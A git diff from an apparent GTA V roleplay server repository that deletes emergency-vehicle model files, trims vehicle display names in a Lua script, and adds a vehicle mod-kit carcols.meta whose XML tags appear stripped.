--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_horn1.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:bb92083d629e3d76456755e8bb5f9e631b9f8e240eb3f1a2b0103e9f55a7f77e
-size 69989
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_horn2.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_horn2.yft
deleted file mode 100644
index 94e6ba873..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_horn2.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:7496c8bd6c612b12da11e319717162be20a597416d7eaf550bacd224c513bed2
-size 66597
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_laptop2.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_laptop2.yft
deleted file mode 100644
index b4fee4767..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_laptop2.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:e3da81fe3f83276ca240e31fa612d7d08aaaf19baf9e0df116a03d88b834fdcd
-size 51515
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_lfturnsig.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_lfturnsig.yft
deleted file mode 100644
index 819337a8d..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_lfturnsig.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:e08669361395ffe2e4ce8265c3a186c7f77567f98d118e296d496564296e4376
-size 122685
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_opticom.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_opticom.yft
deleted file mode 100644
index 3e9e92d8c..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_opticom.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:3e8387e4c7c8ab415a5f2aeaf72f01ce31defaaafd3c96bfc8a7dc68677edbc6
-size 43435
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_rearop2.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_rearop2.yft
deleted file mode 100644
index c5d472177..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_rearop2.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:01a9beae7f7ec52ea58ae90d9fad9db1446abd736b63f65f9821ee5ed218fa3a
-size 2759
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_rfturnsig.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_rfturnsig.yft
deleted file mode 100644
index 6d8b5dfb6..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_rfturnsig.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:c67b760c051d45298cbacfc582bf7f8eb17d7dc04570fe4356f43bc05bd344c5
-size 124404
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_xltb.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_xltb.yft
deleted file mode 100644
index 7780c979a..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_xltb.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:d6d83ca324411afae4a966379d26987bc4575c9bb7f89a3d0fe751fb33eee165
-size 9885
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_xltscreen.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_xltscreen.yft
deleted file mode 100644
index 1dc59d94e..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_xltscreen.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:403bd7bc5496e6d6b03328b0baf19489f0b12379b2418686fc102d11b39e6b4c
-size 58881
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/misc_rear.ycd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/misc_rear.ycd
deleted file mode 100644
index 00fcc472e..000000000
Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/misc_rear.ycd and /dev/null differ
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/runningboards_f450ambo.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/runningboards_f450ambo.yft
deleted file mode 100644
index 40156b623..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/runningboards_f450ambo.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:c5126b124f6225b17e7dde075d3e3ef305c6d60781866e0edf38a681c6896e7a
-size 104311
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/gcVan/gcVan.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/gcVan/gcVan.yft
deleted file mode 100644
index 35f3b452c..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/gcVan/gcVan.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:6e8f5ba6fb8394c48fc189b21354abc891f1235c3e8ed09a073f1e1f16c30995
-size 10064831
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/gcVan/gcVan.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/gcVan/gcVan.ytd
deleted file mode 100644
index a6ced149d..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/gcVan/gcVan.ytd
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:1d93c61caf53291a630aa21cffaffa234b8c07e544553dbdeec7703597590436
-size 6777168
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/gcVan/gcVan_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/gcVan/gcVan_hi.yft
deleted file mode 100644
index 6f415846b..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/gcVan/gcVan_hi.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:061d54fe4ad193f01ab78e46da99dc282efeb648f7c3e880e49e59b62277f616
-size 10064747
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/leg19yF150/leg19yF150+hi.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/leg19yF150/leg19yF150+hi.ytd
index 477461623..52d3800d8 100644
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/leg19yF150/leg19yF150+hi.ytd
+++ b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/leg19yF150/leg19yF150+hi.ytd
@@ -1,3 +1,3 @@
version https://git-lfs.github.com/spec/v1
-oid sha256:9d81400dd8fc9db11eee5b0116d9bbf4d17de38847852b079eaa589c17a6901e
-size 1059113
+oid sha256:a402b5809ca3453b5ae4cba4a17512f35f3e796897a71e7bc1342fee297031af
+size 1059174
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/leg19yF150/leg19yF150.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/leg19yF150/leg19yF150.ytd
index 154a07593..f1b35dda2 100644
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/leg19yF150/leg19yF150.ytd
+++ b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/leg19yF150/leg19yF150.ytd
@@ -1,3 +1,3 @@
version https://git-lfs.github.com/spec/v1
-oid sha256:5480f0cbda99dbdbb1cf87e33345d69d9209c2637946d24dfe0ccf674709eb38
-size 15899724
+oid sha256:1e382999f08ab2a628c4ba74a69a93e8ede0189deec900a1a839d4f4dd186d3f
+size 15901202
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/rfw_ninja/ninja_sign_template.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/rfw_ninja/ninja_sign_template.png
deleted file mode 100644
index 54deda1f4..000000000
Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/rfw_ninja/ninja_sign_template.png and /dev/null differ
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/rfw_ninja/rfw_ninja.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/rfw_ninja/rfw_ninja.yft
deleted file mode 100644
index 80932fe05..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/rfw_ninja/rfw_ninja.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:2934fb364819364a126e978bc7cb2199d2883795135503ef87c9d51187159202
-size 10561916
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/rfw_ninja/rfw_ninja.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/rfw_ninja/rfw_ninja.ytd
deleted file mode 100644
index 6d2a1403f..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/rfw_ninja/rfw_ninja.ytd
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:1a285cb32f66a8c1a3179b5cc9a23d1062ca5a76feff0c80f646e577ea2775f5
-size 6507126
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/rfw_ninja/rfw_ninja_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/rfw_ninja/rfw_ninja_hi.yft
deleted file mode 100644
index 6e070dc5b..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/rfw_ninja/rfw_ninja_hi.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:15b175e42a9cd5196967ca6e759107ee29757019c53c00efc8a924b4ff2be51c
-size 10561864
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/roseneng/roseneng.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/roseneng/roseneng.yft
deleted file mode 100644
index ce1844d19..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/roseneng/roseneng.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:e7618a62a490c13a95ef845909b39ab074d55b363e187899e78acf8a2d7f6e54
-size 4562608
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/roseneng/roseneng.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/roseneng/roseneng.ytd
deleted file mode 100644
index 5d64a2e56..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/roseneng/roseneng.ytd
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:5efd9aae013262e289d58913dbf1b6de4194fb772589f63693987ae4d526c06c
-size 10169212
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/roseneng/roseneng_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/roseneng/roseneng_hi.yft
deleted file mode 100644
index 29044afc8..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/roseneng/roseneng_hi.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:d24dadc22c45bd448dcea9f522ef5ddad6662113287daf8264b6ab81150fbe6e
-size 3965127
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/suburbanfbit/suburbanfbit.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/suburbanfbit/suburbanfbit.yft
deleted file mode 100644
index a46da5cc9..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/suburbanfbit/suburbanfbit.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:bc2e8965485a1e73a14865993b747f5135741086dbc389ee8e831581f621c8a8
-size 2966997
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/suburbanfbit/suburbanfbit.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/suburbanfbit/suburbanfbit.ytd
deleted file mode 100644
index 591e3950c..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/suburbanfbit/suburbanfbit.ytd
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:955a1c9e08d3dcc5e508a14479ddfd2c3f1901731d7c3de1899b9f87f7b84a51
-size 2302852
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/suburbanfbit/suburbanfbit_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/suburbanfbit/suburbanfbit_hi.yft
deleted file mode 100644
index 068f6c202..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/suburbanfbit/suburbanfbit_hi.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:9a01dc530f428b099108b09f1bfbd1e339e263a3b73f1b922fe16ceb73a6b92f
-size 2643295
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/vehicle_names.lua b/resources/[EGRP-CarPacks]/EGRP-Emergency/vehicle_names.lua
index 416026c65..685edf41c 100644
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/vehicle_names.lua
+++ b/resources/[EGRP-CarPacks]/EGRP-Emergency/vehicle_names.lua
@@ -15,69 +15,7 @@ Citizen.CreateThread(function()
AddTextEntry('enladder', 'Pierce Enforce Ladder')
-- silvfire
AddTextEntry('silvfire', '2017 Chevrolet Silverado 1500 FD')
- -- code3bmw
- AddTextEntry('code3bmw', 'BMW Motor bike')
- -- code3boat
- AddTextEntry('code3boat', 'PD BOAT')
- -- code3camero
- AddTextEntry('code3camero', 'Chevy Camaro20')
- -- code3cap
- AddTextEntry('code3cap', '15 Chevy Caprice')
- -- code3cvpi
- AddTextEntry('code3cvpi', '2011 Ford cvpi')
- -- code3durango
- AddTextEntry('code3durango', '2020 Dodge durango')
- -- code3f150
- AddTextEntry('code3f150', '2019 ford f150')
- -- code3f250
- AddTextEntry('code3f250', '2019 ford f250')
- -- code3fpis
- AddTextEntry('code3fpis', '2018 ford taurus')
- -- code3gator
- AddTextEntry('code3gator', 'John Deere Gator')
- -- code3harley
- AddTextEntry('code3harley', 'Harley Davidson')
- -- code3mustang
- AddTextEntry('code3mustang', '2019 Ford Mustang')
- -- code3ram
- AddTextEntry('code3ram', '2016 Dodge Ram')
- --code3silverado
- AddTextEntry('code3silverado', '2016 chevy silverado')
- -- code3trailer
- AddTextEntry('code3trailer', 'pd trailer')
- -- code3trailer2
- AddTextEntry('code3trailer2', 'PD trailer2')
- -- code310charg
- AddTextEntry('code310charg', '2010 Dodge Charger')
- -- code314charg
- AddTextEntry('code314charg', '2014 Dodge Charger')
- -- code314tahoe
- AddTextEntry('code314tahoe', '2014 Chevy Tahoe')
- -- code316fpiu
- AddTextEntry('code316fpiu', '2016 Ford Explorer')
- -- code316impala
- AddTextEntry('code316impala', '2016 Chevy Impala')
- -- code318charg
- AddTextEntry('code318charg', '2018 Dodge Charger')
- -- code318chargk9
- AddTextEntry('code318chargk9', '9K2018 Dodge Charger')
- -- code318tahoe
- AddTextEntry('code318tahoe', '2020 Chevy Tahoe')
- -- code318tahoek9
- AddTextEntry('code318tahoek9', '2020 Chevy K9Tahoe')
- -- code319silv
- AddTextEntry('code319silv', '2020 Chevy silverado')
- -- code320exp
- AddTextEntry('code320exp', '2020 Ford Explorer')
- -- e450ambo
- AddTextEntry('e450ambo', '2020 Ford e450ambo')
- -- 20ramambo
- AddTextEntry('20ramambo', '2020 Dodge Ramambo')
- -- code321tahoe
- AddTextEntry('code321tahoe', 'Chevy Tahoe 2021')
- -- f450ambo
- AddTextEntry('f450ambo', 'Ford Ambulance f450 2020')
- -- rescue1
+ -- rescue1
AddTextEntry('rescue1', 'Pierce Rescue 2020')
-- 14tahoe
AddTextEntry('14tahoe', 'Chevy tahoe 2014 FD')
@@ -155,8 +93,6 @@ Citizen.CreateThread(function()
AddTextEntry('minivan69', '2016 Honda Odyssey')
--2022GenericFireTruckPack
AddTextEntry('2022GenericFireTruckPack', '2022GenericFireTruckPack')
- -- mrap
- AddTextEntry('mrap', 'mrap 2020 ')
-- gt24non
AddTextEntry('gt24non', 'Ford Mustang 2024')
--
diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/__resource.lua b/resources/[EGRP-CarPacks]/EGRP-Extras/__resource.lua
index 6e227849b..97f1d28dc 100644
--- a/resources/[EGRP-CarPacks]/EGRP-Extras/__resource.lua
+++ b/resources/[EGRP-CarPacks]/EGRP-Extras/__resource.lua
@@ -287,20 +287,20 @@ resource_manifest_version '77731fab-63ca-442c-a67b-abc70f28dfa5'
data_file 'VEHICLE_VARIATION_FILE' 'data/rfw_ninja/carvariations.meta'
data_file 'VEHICLE_LAYOUTS_FILE' 'data/rfw_ninja/dlctext.meta'
- --
+ -- nxsmods21tah
files {
- 'data/ /vehicles.meta',
- 'data/ /carvariations.meta',
- 'data/ /carcols.meta',
- 'data/ /handling.meta',
- 'data/ /vehiclelayouts.meta'
+ 'data/nxsmods21tah/vehicles.meta',
+ 'data/nxsmods21tah/carvariations.meta',
+ 'data/nxsmods21tah/carcols.meta',
+ 'data/nxsmods21tah/handling.meta',
+ 'data/nxsmods21tah/vehiclelayouts.meta'
}
- data_file 'HANDLING_FILE' 'data/ /handling.meta'
- data_file 'VEHICLE_METADATA_FILE' 'data/ /vehicles.meta'
- data_file 'CARCOLS_FILE' 'data/ /carcols.meta'
- data_file 'VEHICLE_VARIATION_FILE' 'data/ /carvariations.meta'
- data_file 'VEHICLE_LAYOUTS_FILE' 'data/ /dlctext.meta'
+ data_file 'HANDLING_FILE' 'data/nxsmods21tah/handling.meta'
+ data_file 'VEHICLE_METADATA_FILE' 'data/nxsmods21tah/vehicles.meta'
+ data_file 'CARCOLS_FILE' 'data/nxsmods21tah/carcols.meta'
+ data_file 'VEHICLE_VARIATION_FILE' 'data/nxsmods21tah/carvariations.meta'
+ data_file 'VEHICLE_LAYOUTS_FILE' 'data/nxsmods21tah/dlctext.meta'
--
files {
diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/data/23gsbb/vehicles.meta b/resources/[EGRP-CarPacks]/EGRP-Extras/data/23gsbb/vehicles.meta
index fed7330c5..84920f793 100644
--- a/resources/[EGRP-CarPacks]/EGRP-Extras/data/23gsbb/vehicles.meta
+++ b/resources/[EGRP-CarPacks]/EGRP-Extras/data/23gsbb/vehicles.meta
@@ -15,7 +15,7 @@
null
null
- NINEF
+ lg125mnsrybently
LAYOUT_STD_LOWROOF
STANIER_COVER_OFFSET_INFO
EXPLOSION_INFO_DEFAULT
diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/data/nxsmods21tah/carcols.meta b/resources/[EGRP-CarPacks]/EGRP-Extras/data/nxsmods21tah/carcols.meta
new file mode 100644
index 000000000..e9199416a
--- /dev/null
+++ b/resources/[EGRP-CarPacks]/EGRP-Extras/data/nxsmods21tah/carcols.meta
@@ -0,0 +1,1581 @@
+
+
+
+
+ -
+ 952_nxsmods21tah_modkit
+
+ MKT_STANDARD
+
+
-
+ 21tah_antenna1
+ TAHANTENNA1
+
+ VMT_TRUNK
+ chassis
+ chassis
+ VMCP_DEFAULT
+
+
+
+
+
+
+ -
+ 21tah_antenna2
+ TAHANTENNA2
+
+ VMT_TRUNK
+ chassis
+ chassis
+ VMCP_DEFAULT
+
+
+
+
+
+
+ -
+ 21tah_antenna3
+ TAHANTENNA3
+
+ VMT_TRUNK
+ chassis
+ chassis
+ VMCP_DEFAULT
+
+
+
+
+
+
+ -
+ 21tah_antenna4
+ TAHANTENNA4
+
+ VMT_TRUNK
+ chassis
+ chassis
+ VMCP_DEFAULT
+
+
+
+
+
+
+ -
+ 21tah_antenna5
+ TAHANTENNA5
+
+ VMT_TRUNK
+ chassis
+ chassis
+ VMCP_DEFAULT
+
+
+
+
+
+
+ -
+ 21tah_hoodup
+ HOODUP1
+
+
- misc_u
+
+ VMT_DOOR_L
+ chassis
+ chassis
+ VMCP_DEFAULT
+
+
+
+
+
+
+ -
+ 21tah_centerconsole
+ POLICE_PARTITION
+
+
- misc_p
+
+ VMT_CHASSIS
+ chassis
+ chassis
+ VMCP_DEFAULT
+
+
+
+
+
+
+ -
+ 21tah_tech
+ POLICE_TECH
+
+
- misc_y
+
+ VMT_ICE
+ chassis
+ chassis
+ VMCP_DEFAULT
+
+
+
+
+
+
+ -
+ 21tah_window
+ POLICE_WINDOW
+
+
- misc_z
+ - misc_x
+
+ VMT_INTERIOR1
+ chassis
+ chassis
+ VMCP_DEFAULT
+
+
+
+
+
+
+ -
+ 21tah_pushbar
+ POLICE_PUSHBAR
+
+ VMT_KNOB
+ chassis
+ chassis
+ VMCP_DEFAULT
+
+
+
+
+
+
+ -
+ 21tah_pushbar1
+ POLICE_PUSHBAR1
+
+ VMT_KNOB
+ chassis
+ chassis
+ VMCP_DEFAULT
+
+
+
+
+
+
+ -
+ 21tah_pushbar2
+ POLICE_PUSHBAR2
+
+ VMT_KNOB
+ chassis
+ chassis
+ VMCP_DEFAULT
+
+
+
+
+
+
+ -
+ 21tah_k9cage
+ K9CAGE
+
+
- misc_v
+
+ VMT_SEATS
+ chassis
+ chassis
+ VMCP_DEFAULT
+
+
+
+
+
+
+ -
+ 21tah_blackalpr
+ BLACKALPR
+
+ VMT_PLTVANITY
+ chassis
+ chassis
+ VMCP_DEFAULT
+
+
+
+
+
+
+ -
+ 21tah_whitealpr
+ WHITEALPR
+
+ VMT_PLTVANITY
+ chassis
+ chassis
+ VMCP_DEFAULT
+
+
+
+
+
+
+ -
+ 21tah_name1
+ NAME1
+
+ VMT_WING_L
+ chassis
+ chassis
+ VMCP_DEFAULT
+
+
+
+
+
+
+ -
+ 21tah_name2
+ NAME2
+
+ VMT_WING_L
+ chassis
+ chassis
+ VMCP_DEFAULT
+
+
+
+
+
+
+ -
+ 21tah_name3
+ NAME3
+
+ VMT_WING_L
+ chassis
+ chassis
+ VMCP_DEFAULT
+
+
+
+
+
+
+ -
+ 21tah_name4
+ NAME4
+
+ VMT_WING_L
+ chassis
+ chassis
+ VMCP_DEFAULT
+
+
+
+
+
+
+ -
+ 21tah_name5
+ NAME5
+
+ VMT_WING_L
+ chassis
+ chassis
+ VMCP_DEFAULT
+
+
+
+
+
+
+ -
+ 21tah_roofpuck
+ ROOFPUCK1
+
+ VMT_WING_R
+ chassis
+ chassis
+ VMCP_DEFAULT
+
+
+
+
+
+
+ -
+ 21tah_roofrack
+ ROOFRACK
+
+ VMT_HYDRO
+ chassis
+ chassis
+ VMCP_DEFAULT
+
+
+
+
+
+
+
+
+
+
+
+ -
+
+
+
+
+ VMT_ENGINE
+
+ -
+
+
+
+
+ VMT_ENGINE
+
+ -
+
+
+
+
+ VMT_ENGINE
+
+ -
+
+
+
+
+ VMT_ENGINE
+
+ -
+
+
+
+
+ VMT_BRAKES
+
+ -
+
+
+
+
+ VMT_BRAKES
+
+ -
+
+
+
+
+ VMT_BRAKES
+
+ -
+
+
+
+
+ VMT_GEARBOX
+
+ -
+
+
+
+
+ VMT_GEARBOX
+
+ -
+
+
+
+
+ VMT_GEARBOX
+
+ -
+
+
+
+
+ VMT_ARMOUR
+
+ -
+
+
+
+
+ VMT_ARMOUR
+
+ -
+
+
+
+
+ VMT_ARMOUR
+
+ -
+
+
+
+
+ VMT_ARMOUR
+
+ -
+
+
+
+
+ VMT_ARMOUR
+
+ -
+ HORN_TRUCK
+
+
+
+ VMT_HORN
+
+ -
+ HORN_COP
+
+
+
+ VMT_HORN
+
+ -
+ HORN_CLOWN
+
+
+
+ VMT_HORN
+
+ -
+ HORN_MUSICAL_1
+
+
+
+ VMT_HORN
+
+ -
+ HORN_MUSICAL_2
+
+
+
+ VMT_HORN
+
+ -
+ HORN_MUSICAL_3
+
+
+
+ VMT_HORN
+
+ -
+ HORN_MUSICAL_4
+
+
+
+ VMT_HORN
+
+ -
+ HORN_MUSICAL_5
+
+
+
+ VMT_HORN
+
+ -
+ HORN_SAD_TROMBONE
+
+
+
+ VMT_HORN
+
+ -
+ MUSICAL_HORN_BUSINESS_1
+
+
+
+ VMT_HORN
+
+ -
+ MUSICAL_HORN_BUSINESS_2
+
+
+
+ VMT_HORN
+
+ -
+ MUSICAL_HORN_BUSINESS_3
+
+
+
+ VMT_HORN
+
+ -
+ MUSICAL_HORN_BUSINESS_4
+
+
+
+ VMT_HORN
+
+ -
+ MUSICAL_HORN_BUSINESS_5
+
+
+
+ VMT_HORN
+
+ -
+ MUSICAL_HORN_BUSINESS_6
+
+
+
+ VMT_HORN
+
+ -
+ MUSICAL_HORN_BUSINESS_7
+
+
+
+ VMT_HORN
+
+ -
+ DLC_BUSI2_C_MAJOR_NOTES_C0
+
+
+
+ VMT_HORN
+
+ -
+ DLC_BUSI2_C_MAJOR_NOTES_D0
+
+
+
+ VMT_HORN
+
+ -
+ DLC_BUSI2_C_MAJOR_NOTES_E0
+
+
+
+ VMT_HORN
+
+ -
+ DLC_BUSI2_C_MAJOR_NOTES_F0
+
+
+
+ VMT_HORN
+
+ -
+ DLC_BUSI2_C_MAJOR_NOTES_G0
+
+
+
+ VMT_HORN
+
+ -
+ DLC_BUSI2_C_MAJOR_NOTES_A0
+
+
+
+ VMT_HORN
+
+ -
+ DLC_BUSI2_C_MAJOR_NOTES_B0
+
+
+
+ VMT_HORN
+
+ -
+ DLC_BUSI2_C_MAJOR_NOTES_C1
+
+
+
+ VMT_HORN
+
+ -
+ HIPSTER_HORN_1
+
+
+
+ VMT_HORN
+
+ -
+ HIPSTER_HORN_2
+
+
+
+ VMT_HORN
+
+ -
+ HIPSTER_HORN_3
+
+
+
+ VMT_HORN
+
+ -
+ HIPSTER_HORN_4
+
+
+
+ VMT_HORN
+
+ -
+ INDEP_HORN_1
+
+
+
+ VMT_HORN
+
+ -
+ INDEP_HORN_2
+
+
+
+ VMT_HORN
+
+ -
+ INDEP_HORN_3
+
+
+
+ VMT_HORN
+
+ -
+ INDEP_HORN_4
+
+
+
+ VMT_HORN
+
+ -
+ LUXE_HORN_1
+
+
+
+ VMT_HORN
+
+ -
+ LUXE_HORN_2
+
+
+
+ VMT_HORN
+
+ -
+ LUXE_HORN_3
+
+
+
+ VMT_HORN
+
+
+ -
+ LUXORY_HORN_1
+
+
+
+ VMT_HORN
+
+
+ -
+ LUXURY_HORN_2
+
+
+
+ VMT_HORN
+
+
+ -
+ LUXURY_HORN_3
+
+
+
+ VMT_HORN
+
+ -
+
+
+
+
+ VMT_SUSPENSION
+
+ -
+
+
+
+
+ VMT_SUSPENSION
+
+ -
+
+
+
+
+ VMT_SUSPENSION
+
+ -
+
+
+
+
+ VMT_SUSPENSION
+
+
+
+ -
+ VMT_SKIRT
+ Hitch
+
+ -
+ VMT_CHASSIS
+ Cage
+
+ -
+ VMT_PLTHOLDER
+ Grill
+
+ -
+ VMT_PLTVANITY
+ ALPR
+
+ -
+ VMT_INTERIOR1
+ Window Cover
+
+ -
+ VMT_SEATS
+ K9 Cage
+
+ -
+ VMT_KNOB
+ Pushbars
+
+ -
+ VMT_PLAQUE
+ Grill Trim
+
+ -
+ VMT_ICE
+ Equipment
+
+ -
+ VMT_WING_R
+ Puck
+
+ -
+ VMT_DOOR_L
+ Hood
+
+ -
+ VMT_WING_L
+ Rank Title
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ -
+
+ nxsmods21tah
+
+
+
+
+
+
+ VehicleLight_sirenlight
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ -
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ -
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ -
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ -
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ -
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ -
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
